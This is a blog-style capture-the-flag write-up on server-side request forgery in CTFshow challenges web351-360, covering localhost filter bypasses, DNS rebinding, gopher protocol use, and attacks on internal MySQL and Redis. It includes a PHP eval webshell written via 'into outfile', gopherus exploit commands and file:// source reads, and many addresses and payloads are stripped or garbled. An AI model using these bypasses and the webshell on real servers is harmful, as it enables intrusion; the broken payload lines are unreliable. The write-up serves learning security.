CTFshow question brushing Diary - WEB-SSRF (web351-360) SSRF summary

SSRF Foundation

SSRF (server side request forgery) is a security vulnerability constructed by an attacker to form a request initiated by the server. Generally, the target of SSRF attack is the internal system that cannot be accessed from the external network. (because it is initiated by the server, it can request the internal system connected to it and isolated from the external network)

Correlation functions and classes

  • file_get_contents(): read the whole file or the file pointed to by a url into a string
  • readfile(): output the contents of a file
  • fsockopen(): open a network connection or a Unix socket connection
  • curl_exec(): initializes a new session and returns a cURL handle for curl_setopt(),curl_exec() and cURL_ The close() function uses
  • fopen(): open a file or URL
  • PHP native class SoapClient can cause SSRF when deserialization is triggered

Related agreements

  • File protocol: in case of echo, the contents of any file can be read by using File protocol
  • dict protocol: disclose installation software version information, view ports, operate intranet redis services, etc
  • Gopher protocol: gopher supports sending get and post requests. The get request package and post request package can be intercepted first, and then the request conforming to gopher protocol can be constructed. Gopher protocol is one of the most powerful protocols in the use of ssrf (commonly known as universal protocol). Can be used to bounce shell
  • http/s protocol: detecting intranet host survival

Utilization mode

1. Let the server access the corresponding website

2. Let the server access some fingerprint files in its intranet to determine whether there is a corresponding cms

3. file, dict, gopher[11] and ftp protocols can be used to request access to corresponding files

4. Attack intranet web Applications (you can send carefully constructed data packets {payload} to any port of any internal host)

5. Attack intranet applications (using cross protocol communication technology)

6. Judge whether the intranet host is alive or not: the method is to visit to see if there are ports open

7.DoS attack (keep alive always when requesting large files)

web351 - no filtering

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
echo ($result);
# curl_init - initialize cURL session    
# curl_setopt -- set a cURL transfer option
# curl_exec -- execute cURL session
# curl_close -- close the cURL session

Direct access to flag.php prompt: non local users are not allowed to access

post: url=
 Or use file Pseudo protocol to read files
post: url=file:///var/www/html/index.php view the source code

web352 - no filtering

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
echo ($result);

Although there are filters in the code, they are useless...

 You can get it flag

web353 - simple bypass

if(!preg_match('/localhost|127\.0\.|\. /i', $url)){


ip address hexadecimal conversion
 Decimal integer: url=http://2130706433/flag.php
 hexadecimal: url=http://0x7F.0.0.1/flag.php
 octal number system: url=http://0177.0.0.1/flag.php
 Hexadecimal integer: url=http://0x7F000001/flag.php

Other methods

Default mode: Written as 127.1
CIDR: url=

web354 filter 01

if(!preg_match('/localhost|1|0|. /i', $url))

Method 1: the domain name points to 127

Add an A record in your domain name to point to

Or use http://sudo.cc This domain name points to

Method 2: 302 jump

Add in your own website page


Redirect to 127

Method 3: DNS binding

Go to ceye.io to register binding, and then remember to add r in front


View profile

If there is 1 in the ceye domain name, this method cannot be used

web355 - five bit length host


host length is less than or equal to 5 bits

Let's learn about parse first_ URL function

Parse a URL And returns an associative array contained in URL Various components in
 There are several possible keys in the array:
scheme - as http
query - In question mark ? after
fragment - In hash symbol # after
# Example:
$url = 'http://username:password@hostname/path?arg=value#anchor';
echo parse_url($url, PHP_URL_PATH);
# output
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor


127.1 All five

web356 - three digit length host



# 0 will be resolved to in linux system and in windows system

web357-302 jump / DNSrebinding

$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';

echo file_get_contents($_POST['url']);

Let's first look at the gethostbyname function

gethostbyname — Returns the corresponding host name IPv4 address


# php filter function
filter_var()	Get a variable and filter it
filter_var_array()	Get multiple variables and filter them
# PHP filter
FILTER_VALIDATE_IP	Take value as IP Address to verify, only IPv4 or IPv6 Or not from a private or reserved scope
FILTER_FLAG_IPV4 - The required value is legal IPv4 IP(Like
FILTER_FLAG_IPV6 - The required value is legal IPv6 IP(Like 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - The required value is RFC Specified private domain IP (Like
FILTER_FLAG_NO_RES_RANGE - Required value is not in reserved IP Within. This flag is accepted IPV4 and IPV6 Value.

Because gethostbyname is used in the code to obtain the real IP address, the domain name pointing method can no longer be used. You can use 302 jump method and dns rebinding method

DNS rebinding attack

The focus of the attack is that the DNS service can return unused IP addresses in two DNS queries. The first is the real IP address and the second is the target IP address. This attack method can even bypass the homology policy

Back to the topic, in the topic code, the domain name is requested twice, the first time is the gethostbyname method, and the second time is file_ get_ The contents file can be read and attacked through ceye.io. Two IPS are set in DNS binding, one is, and the other is an accessible IP


url=http://r. Own domain name. ceye.io/flag.php
# Note that r
# Multiple attempts

web358 regular matching

    echo file_get_contents($url);

The url string should be http://ctf Start, show end


Attack other intranet services

web359 - mysql

Topic tip: type mysql without password

In a login interface, click login, capture the packet and find that there is SSRF in the suspicious parameter returl

Use gopher protocol to call mysql

Generate payload with gopherus tool

python2 .\gopherus.py --exploit mysql

 Write a sentence
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

Will_ The content behind the underline is url encoded again (to prevent the occurrence of special characters, the backend curl will decode once by default after receiving the parameters)

Access 2.php and execute the command

web360 - play redis

Tip: call redis

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
echo ($result);

What is Redis unauthorized access?

By default, Redis is bound at If relevant policies are not adopted, such as adding firewall rules to avoid ip access from other untrusted sources, the Redis service will be exposed to the public network. If password authentication is not set (generally empty), It will cause any user to access Redis and read Redis data without authorization when he can access the target server. When an attacker accesses Redis without authorization, he can write files by using the config command provided by Redis itself. The attacker can successfully write his ssh public key to the authorized / root/.ssh folder of the target server_ In the keys file, you can then use the corresponding private key to directly log in to the target server using the ssh service

In short, there are two conditions for vulnerabilities:

  • redis is bound at, and no firewall rules are added to avoid ip access from other untrusted sources and other related security policies, which are directly exposed to the public network
  • Password authentication is not set (generally empty), and you can log in to the redis service remotely without password

The lazy way is to use the tool to generate the payload

python2 .\gopherus.py --exploit redis

Need to_ The following string is url encoded again

The shell.php file is generated by default


Other ways to bypass 127

  1. If the object code restricts access, the domain name can only be http://www.xxx.com , then we can bypass it by using HTTP basic identity authentication. I.e. @: http://www.xxx.com @www.evil.com http://www.evil.com/

  2. http://xip.io , when accessing any subdomain name of this service, it will be redirected to this subdomain name, such as: When, the actual access is There are websites like this http://nip.io , http://sslip.io

  3. At present, short websites basically need to be logged in and used, such as me, https://4m.cn/

  4. Various addresses pointing to

    http://Localhost / # localhost refers to
    http://0 / # 0 represents in window and in liunx
    http://[0:0:0:0:0:ffff:] / # available under Linux, but not under window test
    http://[::]: 80 / # is available under liunx, but not under window test
    http://127.  0 0 1 / # bypass with Chinese full stop
    http://The number of 127.00000.00000.001 / # 0 is more or less, and it will point to in the end

Bypass the specified protocol header with a non-existent protocol header

file_ get_ A feature of the contents () function is that when PHP's file_ get_ When encountering an unknown protocol header, the contents() function will treat the protocol header as a folder, resulting in a directory traversal vulnerability. At this time, you only need to jump up the directory to read the files in the root directory. (the include() function has similar features)

// ssrf.php
die("no hack");
echo file_get_contents($_GET['url']);

The above code limits that the url can only be a path starting with https, so we can:


At this point, file_ get_ If the contents() function encounters an unknown pseudo protocol header "httpssss: / /", it will treat it as a folder, and then cooperate with directory traversal to read the file:


URL resolution difference

1.readfile and parse_ The user function parses the difference to bypass the specified port

$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // This limits the url we can only pass to port 80
} else {

The above code limits the url we can pass to port 80, but if we want to read the file on port 11211, we can bypass it with the following methods


The 11211 port flag.txt file can be read successfully. The principle is shown in the figure below

There are also differences between the two functions in parsing host

Using this difference, you can bypass the parse in the topic_ The URL () function limits the specified host

2. Use curl and parse_ The resolution difference of the URL bypasses the specified host

Gopher Protocol

The previous question payload is directly generated by script. It's very script boy, but I haven't learned anything

Gopher is a very famous information search system on the Internet. It organizes the files on the Internet into some kind of index, which can easily take users from one place to another on the Internet. Before the emergence of WWW, gopher was the most important information retrieval tool on the Internet. Gopher site was also the most important site, using TCP 70 port

Gopher protocol supports sending GET and POST requests. We can intercept GET request packets and POST request packets first, and then construct payload s that meet gopher protocol requests for SSRF utilization. We can even use it to attack Redis, MySql, FastCGI and other applications in the intranet, which undoubtedly greatly expands our SSRF attack surface

Gopher protocol format

URL: gopher://<host>:<port>/<gopher-path>_ Followed by TCP data flow

# Be careful not to forget the underscore "". The TCP data stream starts after the underscore "". If this "", the message received by the server will not be complete, and the character can be written at will.
  • If a POST request is initiated, carriage return and line feed need to use% 0d%0a instead of% 0a. If there are multiple parameters, the & between parameters also need to be URL encoded

Sending HTTP requests using Gopher protocol


stay gopher Send in protocol HTTP The following three steps are required for data:

1.Grab or construct HTTP data packet
2.URL Encoding, carriage return line feed%0a Replace with%0d%0a
3.Send match gopher Protocol format request

Pay attention to these questions:

  1. The question mark (?) needs to be transcoded into URL code, that is%3f
  2. Enter line feed will change to% 0d%0a, but if you directly use tools to turn, there may only be% 0a
  3. Add% 0d%0a at the end of the HTTP package to represent the end of the message (for details, please study the end of the HTTP package)

Attack intranet FastCGI


This article is written in super detail, and many of the above contents refer to this article

Reference link




Posted by Jeller on Tue, 28 Sep 2021 14:05:55 -0700